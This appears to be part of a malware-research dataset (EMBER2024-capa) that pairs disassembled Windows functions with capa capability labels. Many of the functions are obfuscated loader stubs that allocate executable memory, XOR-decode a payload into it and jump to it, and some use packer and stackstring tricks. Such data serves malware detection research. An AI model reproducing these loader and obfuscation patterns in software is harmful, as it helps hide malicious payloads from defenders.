joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bda4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
pop ss
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.1000b0b6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1000b06b
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
invalid
test dword [ecx + edi*8 - 1], ebp

Function at 0x1000bfa5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.1000b084
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x58416c61
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
loop 0x433060
nop
nop
nop
nop
mov eax, str.l8n8
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x382c5ac9
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x10009900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000990f
pop dword [ebp - 0x3c]
mov eax, 0x1000990f
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe6a2f263
sub dword [ebp - 0x4c], 0x9850ad18
mov dword [ebp - 0x48], 0xe5bb359e
add dword [ebp - 0x48], 0x4c7816a7
mov dword [ebp - 0x44], 0x499bd58c
sub dword [ebp - 0x44], 0xfd4f915e
mov dword [ebp - 0x40], 0xdef6ead8
sub dword [ebp - 0x40], 0xdef6ead8
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x6009c9df
add dword [ebp - 0x4c], 0x14689f77
mov dword [ebp - 0x48], 0xfcf8f758
sub dword [ebp - 0x48], 0xbb8c95e3
mov dword [ebp - 0x44], 0x348365ca
add dword [ebp - 0x44], 0x2eec06a2
mov dword [ebp - 0x40], 0xf11f3923
sub dword [ebp - 0x40], 0xf11f3923
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x4e490426
sub eax, 0x3e4853da
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3895c
push 0
call eax
mov ecx, 0xcef05cb7
add ecx, 0x310fef88
xor esi, esi
add esi, eax
mov edi, 0x10015000
add edi, dword [ebp - 0x3c]
mov ebx, 0x20b8e272
sub dword [ebp - 0x2c], ecx
mov edx, dword [edi]
add dword [ebp - 8], 0x6ffe8f60
add edx, ebx
xor dword [ebp - 8], esi
mov dword [esi], edx
add esi, 0x7fbb3247
add esi, 0x8044cdbd
add edi, 4
loop 0x10009a1d
add eax, 0x2cec8152
add eax, 0xd314a27d
xor ebx, ebx
add ebx, eax
add eax, 0xa6556761
sub eax, 0xa655675c
mov ecx, 0xdace87cc
sub ecx, 0xcace87cc
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x100022de
pop dword [ebp - 8]
mov eax, 0x1526c91b
add eax, 0xfad959c3
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x44b34f61
sub dword [ebp - 0x18], 0xf6610a16
mov dword [ebp - 0x14], 0xf209511c
add dword [ebp - 0x14], 0x4029fb29
mov dword [ebp - 0x10], 0xff8afe05
add dword [ebp - 0x10], 0x4cc14629
mov dword [ebp - 0xc], 0x6b06fef1
add dword [ebp - 0xc], 0x94f9010f
lea eax, [ebp - 0x18]
push eax
mov eax, 0x1d183c67
add eax, 0xf2e7f39d
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x9d50b8d7
add dword [ebp - 0x18], 0xd721b07f
mov dword [ebp - 0x14], 0x30071618
add dword [ebp - 0x14], 0x11654b5d
mov dword [ebp - 0x10], 0xe1ae7d6
sub dword [ebp - 0x10], 0xaaab7b6a
mov dword [ebp - 0xc], 0xa4e54d8b
add dword [ebp - 0xc], 0x5b1ab275
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x914b574d
sub eax, 0x814b2745
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3691e
push 0
call eax
mov ecx, 0x40d83c71
sub ecx, 0x40d7f41c
xor edx, edx
add edx, eax
mov ebx, 0x6ca09e1c
add ebx, 0xa35fc3e4
add ebx, dword [ebp - 8]
mov edi, 0x8878d849
mov dword [ebp - 4], 0x12369c83
mov esi, dword [ebx]
add dword [ebp - 4], 0xe4cebe97
xor esi, edi
xor dword [ebp - 4], esi
mov dword [edx], esi
add edx, 0x649dc430
add edx, 0x9b623bd4
add ebx, 0x20094160
sub ebx, 0x2009415c
loop 0x100023fc
add eax, 0x5b32bf19
sub eax, 0x5b31aaf2
mov ebx, eax
add eax, 5
mov ecx, 0x949b7ba
sub ecx, 0xf949b7ba
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100553ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x100553c9
pop dword [ebp - 4]
mov eax, 0x6bf3b86
sub eax, 0xf6b9e7bd
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xe0857b1d
sub dword [ebp - 0x14], 0x923335d2
mov dword [ebp - 0x10], 0x150da71f
add dword [ebp - 0x10], 0x1d25a526
mov dword [ebp - 0xc], 0x1599755f
add dword [ebp - 0xc], 0x36b2cecf
mov dword [ebp - 8], 0x770959dd
add dword [ebp - 8], 0x88f6a623
lea eax, [ebp - 0x14]
push eax
mov eax, 0x8fa054
sub eax, 0xf089a044
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xb32fd0cf
sub dword [ebp - 0x14], 0x3ebd6779
mov dword [ebp - 0x10], 0x9cf419bd
sub dword [ebp - 0x10], 0x5b87b848
mov dword [ebp - 0xc], 0x3f2720d4
sub dword [ebp - 0xc], 0xdbb7b468
mov dword [ebp - 8], 0x94ace288
add dword [ebp - 8], 0x6b531d78
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xa2424b95
add eax, 0x6dc3b47f
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x54126
push 0
call eax
mov ecx, 0x4100
mov edi, eax
mov ebx, 0xd58bc609
sub ebx, 0xc5830a09
add ebx, dword [ebp - 4]
mov esi, 0xbf9a9b6a
mov edx, dword [ebx]
xor edx, esi
mov dword [edi], edx
add edi, 4
add ebx, 4
loop 0x100554df
add eax, 0xa4240be2
add eax, 0x5bdceaf1
xor ebx, ebx
add ebx, eax
add eax, 0x546577f5
sub eax, 0x546577f0
mov ecx, 0xb3dd16a
sub ecx, 0xfb3dd16a
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x40ffd9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40ffe8
pop dword [ebp - 0x50]
mov eax, 0xbcb840be
add eax, 0x4388bf2a
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3d248
push 0
mov eax, 0x55d4f0a0
add eax, 0xaa6d6178
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4537
mov ebx, eax
mov edi, 0xefb0e384
sub edi, 0xef6d8f84
add edi, dword [ebp - 0x50]
mov edx, 0x5067676d
mov dword [ebp - 0xc], 0x16e9c87
mov esi, dword [edi]
sub dword [ebp - 0x4c], 0xfd20bb7b
xor esi, edx
mov dword [ebx], esi
sub dword [ebp - 0x48], 0xd2df4695
add ebx, 0x597082de
add ebx, 0xa68f7d26
add edi, 0x31a4b5d1
sub edi, 0x31a4b5cd
loop 0x41003b
add eax, 0x4d952712
sub eax, 0x4d941f63
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x7003567
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x7003576
pop dword [ebp - 0x1c]
mov eax, 0xb634f6c8
add eax, 0x50cb3eae
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xa9a132f9
add dword [ebp - 0x2c], 0xa4b11252
mov dword [ebp - 0x28], 0x587558ad
add dword [ebp - 0x28], 0xd9bdf398
mov dword [ebp - 0x24], 0xf2ed0ff6
sub dword [ebp - 0x24], 0xa6a0cbc8
mov dword [ebp - 0x20], 0x462c0e36
add dword [ebp - 0x20], 0xb9d3f1ca
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xdcbfc296
sub eax, 0xd5be9266
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x624ea0c1
add dword [ebp - 0x2c], 0x1223c895
mov dword [ebp - 0x28], 0x52bf9ea9
add dword [ebp - 0x28], 0xeeacc2cc
mov dword [ebp - 0x24], 0x2897a0ae
sub dword [ebp - 0x24], 0xc5283442
mov dword [ebp - 0x20], 0x213c70a1
add dword [ebp - 0x20], 0xdec38f5f
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xab401be3
add eax, 0x5bc11451
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x393af
push 0
call eax
mov ecx, 0x90ae615
sub ecx, 0x90aa3f3
xor esi, esi
add esi, eax
mov edi, 0x7020200
add edi, dword [ebp - 0x1c]
mov edx, 0x470dea7b
add edx, 0x406353c6
mov dword [ebp - 0xc], 0x25d4c0cc
mov ebx, dword [edi]
add dword [ebp - 0x18], 0xb590d3e3
sub ebx, edx
mov dword [esi], ebx
xor dword [ebp - 8], eax
add esi, 4
add edi, 0xa30a5b8b
add edi, 0x5cf5a479
loop 0x7003694
add eax, 0x4488eae1
add eax, 0xbb78107a
mov ebx, eax
add eax, 0x533d0210
add eax, 0xacc2fdf5
mov ecx, 0x92c79558
add ecx, 0x74386aa8
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003567
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003567
int3
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x81a030]
jne 0x401116
repz ret
jmp fcn.00401d41

Function at 0x40a6cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406ace
and dword [ebp - 4], 0
cmp dword [0x81c894], 0
mov ebx, eax
jne 0x40a77d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a82e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a82e
push eax
call fcn.00406a5c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81c894], eax
call esi
push eax
call fcn.00406a5c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81c898], eax
call esi
push eax
call fcn.00406a5c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81c89c], eax
call esi
push eax
call fcn.00406a5c
pop ecx
mov dword [0x81c8a4], eax
test eax, eax
je 0x40a77d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406a5c
pop ecx
mov dword [0x81c8a0], eax
mov eax, dword [0x81c8a0]
cmp eax, ebx
je 0x40a7d5
cmp dword [0x81c8a4], ebx
je 0x40a7d5
push eax
call fcn.00406ad7
push dword [0x81c8a4]
mov esi, eax
call fcn.00406ad7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a7d5
test edi, edi
je 0x40a7d5
call esi
test eax, eax
je 0x40a7cc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a7cc
test byte [ebp - 0xc], 1
jne 0x40a7d5
or dword [ebp + 0x10], 0x200000
jmp 0x40a80e
mov eax, dword [0x81c898]
cmp eax, ebx
je 0x40a80e
push eax
call fcn.00406ad7
pop ecx
test eax, eax
je 0x40a80e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a80e
mov eax, dword [0x81c89c]
cmp eax, ebx
je 0x40a80e
push eax
call fcn.00406ad7
pop ecx
test eax, eax
je 0x40a80e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81c894]
call fcn.00406ad7
pop ecx
test eax, eax
je 0x40a82e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a830
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cb60
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x81a030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ed51a4]
push ebx
mov ebx, dword [0x2ed4ff0]
push esi
mov esi, dword [0x81b060]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40cba1
push str.lefovuweceh
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ed51a4]
mov dword [0x81c9fc], esi
cmp eax, 0x114e
jne 0x40cbcb
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.durinarusunavabaxomoyowev
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2ed51a4]
cmp eax, 0x2f
jne 0x40cbed
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call fcn.0040cad0
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x10007803
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x1000ba37
call fcn.1000ad64
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x100079d7
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.1000a8bb
add esp, 0xc
test eax, eax
js 0x100079d1
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1000789f
push esi
call fcn.1000415a
pop ecx
test al, al
je 0x1000789f
mov eax, esi
call fcn.1000b08f
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x100078ab
push esi
lea ecx, [ebp - 0x428]
call fcn.1000a8bb
push 3
push esi
push edi
push eax
call fcn.1000a8bb
test eax, eax
je 0x100079d1
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov edi, eax
mov dword [ebp - 0x41c], edi
test edi, edi
jne 0x100078df
call fcn.1000436e
mov esi, eax
jmp 0x100079b6
push dword [ebp - 0x424]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x10007902
call fcn.1000436e
jmp 0x100079ad
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x424], eax
test eax, eax
je 0x100078f8
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x420], esi
cmp eax, esi
jae 0x10007932
mov esi, 0x8007000e
jmp 0x100079af
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000a8bb
mov dword [ebp - 4], 1
jmp 0x10007971
cmp dword [ebp - 0x418], 0
je 0x1000792b
push esi
push dword [ebp - 0x424]
push esi
push dword [ebp - 0x418]
call fcn.1000a8bb
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.1000a8bb
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x100079f1
lea ecx, [ebp - 0x418]
call fcn.10007ab8
jmp 0x100079f1
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x100079ec
lea ecx, [ebp - 0x418]
call fcn.10007ab8
mov esi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.10002e8b
mov eax, esi
lea esp, [ebp - 0x444]
call fcn.1000adbd
ret 0x10
Function at 0x1000a02b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10001f10]
jne 0x1000af38
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1000eba8], eax
mov dword [0x1000eba4], ecx
mov dword [0x1000eba0], edx
mov dword [0x1000eb9c], ebx
mov dword [0x1000eb98], esi
mov dword [0x1000eb94], edi
mov word [0x1000ebc0], ss
mov word [0x1000ebb4], cs
mov word [0x1000eb90], ds
mov word [0x1000eb8c], es
mov word [0x1000eb88], fs
mov word [0x1000eb84], gs
pushfd
pop dword [0x1000ebb8]
mov eax, dword [ebp]
mov dword [0x1000ebac], eax
mov eax, dword [ebp + 4]
mov dword [0x1000ebb0], eax
lea eax, [ebp + 8]
mov dword [0x1000ebbc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1000eaf8], 0x10001
mov eax, dword [0x1000ebb0]
mov dword [0x1000eaac], eax
mov dword [0x1000eaa0], 0xc0000409
mov dword [0x1000eaa4], 1
mov eax, dword [0x10001f10]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000e7d0]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1000eaf0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10002110
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1000eaf0], 0
jne 0x1000b024
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x1000a8bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000a8ca
pop dword [ebp - 0x30]
mov eax, 0x1000a8ca
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xd6754b57
sub dword [ebp - 0x40], 0x8823060c
mov dword [ebp - 0x3c], 0xc08da97
sub dword [ebp - 0x3c], 0xd9d58e52
mov dword [ebp - 0x38], 0x9741350
add dword [ebp - 0x38], 0x42d830de
mov dword [ebp - 0x34], 0xdbcf312c
sub dword [ebp - 0x34], 0xdbcf312c
lea eax, [ebp - 0x40]
push eax
mov eax, 0xe49e67c1
sub eax, 0xd49e5785
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x9215a1ba
sub dword [ebp - 0x40], 0x1da33864
mov dword [ebp - 0x3c], 0xcf454b7b
sub dword [ebp - 0x3c], 0x8dd8ea06
mov dword [ebp - 0x38], 0x20171454
sub dword [ebp - 0x38], 0xbca7a7e8
mov dword [ebp - 0x34], 0x53928459
sub dword [ebp - 0x34], 0x53928459
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x5542bd09
sub eax, 0x4542acad
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3b743
push 0
call eax
mov ecx, 0x7fe59704
sub ecx, 0x7fe5422b
xor edi, edi
add edi, eax
mov esi, 0x10012000
add esi, dword [ebp - 0x30]
mov ebx, 0x16de48f5
add ebx, 0x64717bac
sub dword [ebp - 0x14], 0x73922476
mov edx, dword [esi]
xor dword [ebp - 0xc], 0xf22b4934
xor edx, ebx
add dword [ebp - 4], esi
mov dword [edi], edx
sub dword [ebp - 0x14], 0x1bdd0a01
add edi, 0xf648bb3
add edi, 0xf09b7451
add esi, 0xde0b8500
add esi, 0x21f47b04
loop 0x1000a9e3
add eax, 0x274f5375
sub eax, 0x274e0d3e
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret